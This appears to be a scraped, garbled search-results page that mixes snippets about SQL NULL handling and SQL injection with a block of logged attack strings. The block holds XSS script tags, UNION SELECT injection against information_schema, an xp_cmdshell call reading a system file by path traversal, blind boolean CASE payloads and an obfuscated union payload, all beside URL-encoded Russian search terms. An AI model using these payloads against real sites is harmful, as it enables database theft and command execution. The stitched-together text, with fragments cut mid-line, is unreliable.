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sql - Union to handle NULL values - Stack Overflow

stackoverflow.com

select a,b,null,null from table1 union select null,null,c,d from table2 union select null,null,null,null,e,f from table3.

sql - CONCAT'ing NULL fields - Stack Overflow | Post as a guest

stackoverflow.com

I have a table with three fields, FirstName, LastName and Email. Here's some dummy data: … Now, if I do: … Vitals for Joe is null, as there is a single null field. How do you overcome this behaviour?

Replacing NULL with 0 in a SQL server query - Stack Overflow

stackoverflow.com

I have developed a query, and in the results for the first three columns I get NULL. How can I replace it with 0?

sql - WHERE all IS NOT NULL - Stack Overflow | Post as a guest

stackoverflow.com

How can I run a MySQL query that selects everything that is not null? It would be something like … Do I just remove the all and go..?

SQL using If Not Null on a Concatenation - Stack Overflow

stackoverflow.com

If I have the table … This will display Firstname-Middlename-Surname e.g. … The second one (Jane’s) displays correct, however since John doesn’t have a middlename, I want it to ignore the second dash.

SQL is null and = null - Stack Overflow

stackoverflow.com

What is the difference between … and … and why does the latter not work?

sql injection "union select null" - CodeProject | To display as

www.codeproject.com

Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...

SQL NULL Values - IS NULL and IS NOT NULL

www.w3schools.com

Note: A NULL value is different from a zero value or a field that contains spaces.

SQL Injection Cheat Sheet | Netsparker

www.netsparker.com

SELECT CHAR(0x66) (S) SELECT 0x5045 (this is not an integer it will be a string from Hex) (M)

Заметка про NULL / Хабр

habr.com

Даже выражение NULL != NULL не будет истинным, ведь нельзя однозначно сравнить одну неизвестность с другой. Кстати, ложным это выражение тоже не будет, потому что при вычислении условий Oracle не ограничивается состояниями ИСТИНА и ЛОЖЬ.

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"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
"><script >alert(string.fromcharcode(88,83,83))</script>|xss|[kz] kazakstan|08/18/2020 17:41:56|') and 1=1 union all select 1,null,'<script>alert("xss")</script>',table_name from information_schema.tables where 2>1--/**/; exec xp_cmdshell('cat ../../../et
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 6908=(select (case when (6908=2550) then 6908 else (select 2550 union select 3456) end))-- hbpi
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- alwt
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 3956=(select (case when (3956=2163) then 3956 else (select 2163 union select 4524) end))-- hzxq
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b" and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- gyij
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- wian
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b") and 9729=(select (case when (9729=1260) then 9729 else (select 1260 union select 2140) end))-- gehw
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 7992=(select (case when (7992=7992) then 7992 else (select 8669 union select 1998) end))-- hgjf
%u0431%u0438%u043f%u044d%u043a %u0430%u0432%u0442%u043e %u043a%u043e%u0441%u0442%u0430%u043d%u0430%u0439 %u0446%u0435%u043d%u044b%' and 9901=(select (case when (9901=7115) then 9901 else (select 7115 union select 6880) end))-- pffb

999999.9 //union/-9657)/**/union/**/all/**/select/**/null,concat(0x716b627071,0x6362797479554b596f625079724544756a64676f4e486468786f596d456555565274725264724953,0x7176787871),null,null,null,null,null,null--/**/ludb/all //select //cast(0x393133353134353632 на YouTube:

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